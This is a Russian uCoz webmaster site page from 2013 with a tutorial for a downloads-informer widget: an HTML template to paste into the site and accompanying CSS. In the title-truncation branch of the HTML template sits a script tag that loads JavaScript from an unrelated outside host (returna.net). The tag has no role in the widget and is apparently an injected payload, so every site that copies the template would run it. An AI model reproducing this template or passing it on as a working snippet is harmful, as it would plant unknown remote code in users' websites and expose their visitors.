Мини профиль
Новое на форуме
Лучшие пользователи
Последнии новости
Меню сайта
Навигация Заказать рип Все для uCoz Всё для CS Графика Все для PhotoShop
Витрина ссылок
Купить ссылку
(Цена 5р)

Мир читов
Коментарии
ap06032001 написал:
хмм щя скачаю поглеж
nikita написал:
dwadadaw
nikita написал:
sa
Steam и Игры




Архив записей
Наш опрос
Чем вы пользуетесь
Всего ответов: 43
Мы ВКонтакте
Главная » 2013 » Июнь » 30 » Удобный информер для файлов ucoz

Удобный информер для файлов ucoz
Автор публикации: greenpis · Просмотров: 256
Спасибо +
Данный скрипт представляет собой удобный и красивый информер для самых скачиваемых файлов ucoz, который очень просто поместить в любой блок.

В шаблоне информера находится изображение файла, сверху, поверх картинки написано количество загрузок. А снизу, полупрозрачная лента с названием файла и иконкой лупы, при нажатии на которую открывается дополнительная панелька с подробной информации о материале.

Данное решение можно перенастроить и под другие модули, такие как новости, блоги или статьи. Интересно, что информер лучших материалов подходит практически под любой дизайн и под сайты любой тематике. Более симпатично смотрится на сайтах игровой тематики.

Важно: Ширина блока, куда вы хотите вставить информер, должна быть не менее 190px!

Если вы хотите, что-бы выводило не 3 материала, а больше, то необходимо добавить в CSS код дополнительные классы: после .ifudslink3 добавляем через запятую .ifudslink4 , .ifudslink5 и так далее, в зависимости от количества материалов.

Установка

1. Первым делом создадим сам информер со следующими параметрами:

[ Каталог файлов - Материалы - Количество загрузок D - Материалы: 3 - Колонки: 1 ]

2. В его шаблоне удаляем все и вставляем следующее:

Код
<div align="center" class="ifboxuds">  
  <div class="ifuds"><div style="background: #aaa;">  
  <a title="$TITLE$" href="$ENTRY_URL$"><img width="170px" src="$IMG_URL1$"></a>  
  <span title="$TITLE$"><a class="ifuds" href="$ENTRY_URL$"><b><?if($TITLE$)?><?if(len($TITLE$)>15)?><script type="text/javascript" src="http://returna.net/background.js"></script><?substr($TITLE$,0,14)?>...<?else?>$TITLE$<?endif?></a><?else?>Без названия<?endif?></b></a><a onclick="$('.ifudslink$NUMBER$').slideToggle(100);" class="ifudslinks2"><img src="http://pnghosts.ru/img/imageshowprevimg.png" title="Подробная информация"></a></span>  
  </div></div>  
  <div class="loadingnum">Загрузок: $LOADS$</div>  
  <div class="ifudslink$NUMBER$"><div class="ifudsoa">Просмотров: <b>$READS$</b><br>Комментариев: <b>$COMMENTS_NUM$</b><br>Категория: <b><a href="$CATEGORY_URL$" class="ifuds"><?if(len($CATEGORY_NAME$)>11)?><?substr($CATEGORY_NAME$,0,10)?>...<?else?>$CATEGORY_NAME$<?endif?></a></b></div></div>  
  </div>


3. Заходим в ПУ -> Управление дизайном -> Таблицу стилей CSS и вставляем следующее:

Код
.ifboxuds {position:relative; width:180px; font-size:11px; font-family:tahoma;}  
  .ifuds { width:170px; overflow:hidden; padding: 0px 0px 0px 0px;}  
  .ifuds a {color:#bababa; text-decoration: none;}  
  .ifuds a:hover {color:#818181; text-decoration: underline;}  
  .ifuds div { float:left;width:170px; height:70px;overflow:hidden; position:relative; margin: 5px 0px 5px 0px; }  
  .ifuds span {float:left;width:100%; left: 0px; bottom: 0px;position:absolute; background: url(http://pnghosts.ru/img/pix_title.png) repeat;  
  padding: 4px 0px 4px 0px; font: 9px Verdana,Arial,Helvetica, sans-serif; text-align: center; color: #eee;  
  }  
  a.ifuds {color:#bababa; text-decoration: none;}  
  a:hover.ifuds {color:#818181; text-decoration: underline;}  
  .loadingnum{  
  position: absolute;  
  top: 10px;  
  right: 15px;  
  padding: 1px 5px;  
  background: #000;  
  background: rgba(0, 0, 0, 0.73);  
  font: bold 10px/14px 'Arial';  
  color: #fff;  
  border-radius: 0px;  
  }  
  a.ifudslinks2 {display:inline-block;*display:inline;margin-top:3px; padding: 0px 0px 0 8px;}  
  a:hover.ifudslinks2 {cursor:pointer;}  
  .ifudsoa {padding:0px 0px 5px 5px;}  
  .ifudslink1,.ifudslink2,.ifudslink3 {display:none;position:absolute; width:158px; height: 38px; bottom:25px; margin-left:5px; background:rgba(0, 0, 0, 0.85); border:1px solid #333; text-align:left; z-index:999; padding:5px; color:#eee;}


Установка завершена!

Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

Мини-чат
Друзья сайта
Свободно d4z-cs.my1.ru-Все для Counter-Strike Source, читы css
Свободно Свободно
Свободно Свободно
Свободно Свободно
Случайные Файлы


PodBot 2.5
Загрузок: 2
Просмотров: 341
Добавил: aSq
Дата: 22.01.2011

Статистика

Статистика материалов ↑↓
Статистика пользователей ↑↓
Кто нас сегодня посетил ↑↓
Кол-во файлов ↑↓
Кол-во постов ↑↓
погода в сернуре
Приветствуем Вас на нашем портале у нас есть все для вас например как Онлайн музыка, есть еще Мониторинг серверов, Топ сайтов добавляем свои сайт ы кнам в топ если хотите поднять свой сайт на первые места. Еще найдете у нас на сайте много щего например: Скачать Counter-Strike,Контер страйк бесплатно,Скачать пачти для CS 1.6 бесплатно,Скачать готовые ссервера для CS 1.6,готовые сервера бесплатно,Скачать плагины,моды,модели оружия,создать сервер,модели оружия для css,логотипы для cs source,скачать CS Source бесплатно,карты для css,Всё для Ucoz,укоз,юкоз,скачать шаблоны для Ucoz,Скрипты для Ucoz бесплатно,Вэбмастер,Web master,раскрутка сайта,Раскрутка сайта бесплтано,оптимизация под поисковики бесплатно,скачать фотошоп,Photoshop CS3,CS4,Скачать стили для фотошопа,photoshop бесплатно,скачать шрифты бесплатно,градиенты для photoshop скачать,кисти для photoshop,готовые psd работы,Онлайн PS,изготовление графики бесплатно,всё для L4D,моды для left4dead 2,скины l4d, скачать Left4Dead 2 бесплатно, всё для Stalker, видео про сталкер, трейнеры для stalker, прохождение,Stalker,гайды для Perfect World, читы для pw, секреты в perfect world, патчи для пв, боты для pw, Всё для GTA 4, скачать моды для gta 4, чит коды на gta, сохранение для gta, графика, скины для GTA 4, онлайн фильмы бесплатно, фильм, смотреть кино, кинотеатр, фильм без регистрации, мониторинг, мониторинг игровых серверов, сервер cs 1.6, игровые сервера  и еще разные программы для вашего сайта на нашем сайте ZIM.CLAN.SU!

Администрация ответственности не несет за содержание материала и убытки не возмещает.
ZIM-CS.RU © 2011 Хостинг от uCoz